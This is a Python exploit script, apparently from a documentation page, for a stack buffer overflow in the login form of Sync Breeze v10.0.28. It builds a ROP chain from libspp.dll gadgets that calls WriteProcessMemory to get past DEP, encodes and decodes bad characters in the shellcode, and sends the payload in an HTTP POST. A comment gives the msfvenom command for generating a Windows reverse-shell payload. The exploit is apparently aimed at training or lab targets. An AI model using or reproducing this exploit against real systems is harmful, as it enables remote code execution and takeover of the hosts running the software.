Sync Breeze v10.0.28
Application created by Flexsense. Exploit by DS.
Stack Buffer Overflow RCE (DEP) (Uses WriteProcessMemory plus a ROP shellcode encoder to bypass DEP)
#!/usr/bin/python
import socket
import sys
from struct import pack
#offset from IAT entry 433010 GetProcessHeapStub to WriteProcessMemoryStub = 00015c30
def mapBadChars(sh):
BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
print(badIndex)
return badIndex
def encodeShellcode(sh):
BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
REPLACECHARS = b"\xff\x0c\x10\x23\x24\x2a\x3c"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(pack("B", BADCHARS[i]), pack("B", REPLACECHARS[i]))
return encodedShell
def decodeShellcode(badIndex, shellcode):
pop_eax = 0x1002f729 # pop eax; ret; :: libspp.dll
neg_eax = 0x1005a3e6 # neg eax; ret; :: libspp.dll
pop_ebx = 0x10097bfe # pop ebx; ret; :: libspp.dll
add_eax_edx = 0x1003f9f9 # add eax, edx; retn 0x0004
xchg_eax_edx = 0x100cb4d4 # xchg eax, edx; ret; :: libspp.dll
BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
CHARSTOADD = b"\x01\x01\x01\x02\x02\x01\x01"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value << 8) | 0x11110011
restoreRop += pack("<L", (pop_eax)) # pop ecx ; ret
restoreRop += pack("<L", (neg_offset))
restoreRop += pack("<L", (neg_eax)) # sub eax, ecx ; pop ebx ; ret
restoreRop += pack("<L", add_eax_edx)
restoreRop += pack("<L", xchg_eax_edx)
restoreRop += pack("<L", 0x42424242) #junk for ret 0x04
restoreRop += pack("<L" , (pop_ebx))
restoreRop += pack("<L", (value)) # values in BH
restoreRop += pack("<L", (0x10139ad1)) # add byte ptr [edx], bh ; ret
return restoreRop
def buildRop(badindex, shellcode):
#code cave in libspp at 10167b10
'''
Skeleton for WPM call:
wpm = pack("<L", (WPMAddr)) # WriteProcessMemory Address
wpm += pack("<L", (dllBase + 0x92c04)) # Shellcode Return Address
wpm += pack("<L", (0xFFFFFFFF)) # pseudo Process handle
wpm += pack("<L", (0x10167b10)) # Code cave address
wpm += pack("<L", (0x41414141)) # dummy lpBuffer (Stack address)
wpm += pack("<L", (0x42424242)) # dummy nSize
wpm += pack("<L", (dllBase + 0xe401c)) # lpNumberOfBytesWritten
'''
dref_eax = 0x1014dc4c # mov eax, dword ptr [eax]; ret; :: libspp.dll
pop_eax = 0x1002f729 # pop eax; ret; :: libspp.dll
neg_eax = 0x1005a3e6 # neg eax; ret; :: libspp.dll
sub_esp_eax = 0x1013f94c # sub esp, eax; adc edx, [eax]; ret
junk = 0x42424242
pop_esp = 0x100e1d05 # pop esp; ret; :: libspp.dll
call_eax = 0x1013abf2 # push ecx; call eax; add esp, 0x14; ret;
push_esp_pop_esi = 0x10136ab5 # push esp; and al, 8; pop esi; add esp, 8; ret;
mov_eax_esi = 0x101028ad # mov eax, esi; pop edi; pop esi; ret;
xchg_eax_edx = 0x100cb4d4 # xchg eax, edx; ret; :: libspp.dll
add_edx_ebx = 0x1015734e # add edx, ebx; pop ebx; ret 0x10;
write_edx = 0x1012d24e # mov dword ptr [edx], eax; ret; :: libspp.dll
sub_eax_ebp = 0x1014c168 # sub eax, ebp; pop esi; pop ebp; pop ebx; ret;
pop_ebp = 0x1005e9f5 # pop ebp; ret; :: libspp.dll
add_edx_4 = 0x10150eb2 # add edx, 0x04; pop esi; mov eax, edx; ret
code_cave = 0x10167b10
add_eax_b = 0x1014c4cb # add eax, 0xb; pop ebx; ret;
add_eax_4 = 0x10140f33 # add eax, 0x04; pop esi; ret
add_eax_edx = 0x1003f9f9 # add eax, edx; retn 0x0004
xchg_eax_esp = 0x101394a9 # xchg eax, esp; ret; :: libspp.dll
xchg_eax_ebp = 0x100cdc7a # xchg eax, ebp; ret; :: libspp.dll
def pk(x): return pack("<L", x)
rop = b""
#move ESP into EDX
rop += pk(push_esp_pop_esi)
rop += pk(junk)
rop += pk(junk)
rop += pk(junk)
rop += pk(mov_eax_esi)
rop += pk(junk)
rop += pk(junk)
rop += pk(xchg_eax_edx)
#Deref and write WPM address
rop += pk(pop_eax)
rop += pk(0xFFBCCFF0) #IAT address at 0 - 433010
rop += pk(neg_eax)
rop += pk(dref_eax)
rop += pk(pop_ebp)
rop += pk(0xFFFEA3D0) #0 - offset to WPM(00015c30)
rop += pk(sub_eax_ebp)
rop += pk(junk)
rop += pk(junk)
rop += pk(junk)
rop += pk(write_edx)
#Inc EDX
rop += pk(add_edx_4)
rop += pk(junk)
#Write ret addr (code cave)
rop += pk(pop_eax)
rop += pk(code_cave)
rop += pk(write_edx)
#Inc EDX
rop += pk(add_edx_4)
rop += pk(junk)
#Write handle
rop += pk(pop_eax)
rop += pk(0xFFFFFFFF)
rop += pk(write_edx)
#Inc EDX
rop += pk(add_edx_4)
rop += pk(junk)
#Write code cave
rop += pk(pop_eax)
rop += pk(code_cave)
rop += pk(write_edx)
#Inc EDX
rop += pk(add_edx_4)
rop += pk(junk)
#Write lpBuffer(shellcode stack addr)
rop += pk(pop_eax)
rop += pk(0xFFFFFC80) #0-3A4 MAY NEED TO UPDATE BASED ON SHELLCODE / BAD CHARS
rop += pk(neg_eax)
rop += pk(add_eax_edx)
rop += pk(write_edx)
rop += pk(junk)
#===DECODE SHELLCODE===
rop += pk(xchg_eax_edx) # edx -> shellcode
rop += pk(xchg_eax_ebp) # ebp -> staging area
encodedRop = decodeShellcode(badindex, shellcode)
print(encodedRop)
rop += encodedRop
rop += pk(xchg_eax_ebp) # ebp -> staging area
rop += pk(xchg_eax_edx) # edx -> staging area
#Inc EDX
rop += pk(add_edx_4)
rop += pk(junk)
#Write nsize
rop += pk(pop_eax)
rop += pk(0xFFFFFB67) #499 bytes
rop += pk(neg_eax)
rop += pk(write_edx)
#Inc EDX
rop += pk(add_edx_4)
rop += pk(junk)
#Write lpNumberOfBytesWritten (stack addr)
rop += pk(push_esp_pop_esi)
rop += pk(junk)
rop += pk(junk)
rop += pk(mov_eax_esi)
rop += pk(junk)
rop += pk(junk)
rop += pk(write_edx)
#Return EDX to the start of the call and move it to ESP to execute
rop += pk(pop_eax)
rop += pk(0xFFFFFFE8) #0-18
rop += pk(add_eax_edx)
rop += pk(xchg_eax_esp)
rop += pk(junk)
return rop
try:
#shellcode here max 498 bytes
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.55 LPORT=4444 -b "\x00\x0d\x0a\x25\x26\x2b\x3d" -f python -v shellcode
shellcode = b""
badIndex = mapBadChars(shellcode)
encodedShell = encodeShellcode(shellcode)
server = sys.argv[1]
port = 80
size = 3000
offset = 780
#badchars = \x0d\x0a\x25\x26\x2b\x3d
#EIP offset 780
pad = b"A" * offset
rop = buildRop(badIndex, shellcode)
eip = rop
#shellcode starts at offset 2c
encodedShell = (b"A" * 0x2c) + encodedShell
inputBuffer = pad + eip + encodedShell
inputBuffer += b"A" * (size-len(inputBuffer))
content = b"username=" + inputBuffer + b"&password=A"
buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Referer: http://192.168.49.55/login\r\n"
buffer += b"Connection: close\r\n"
buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
buffer += b"\r\n"
buffer += content
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buffer)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
Last updated
Was this helpful?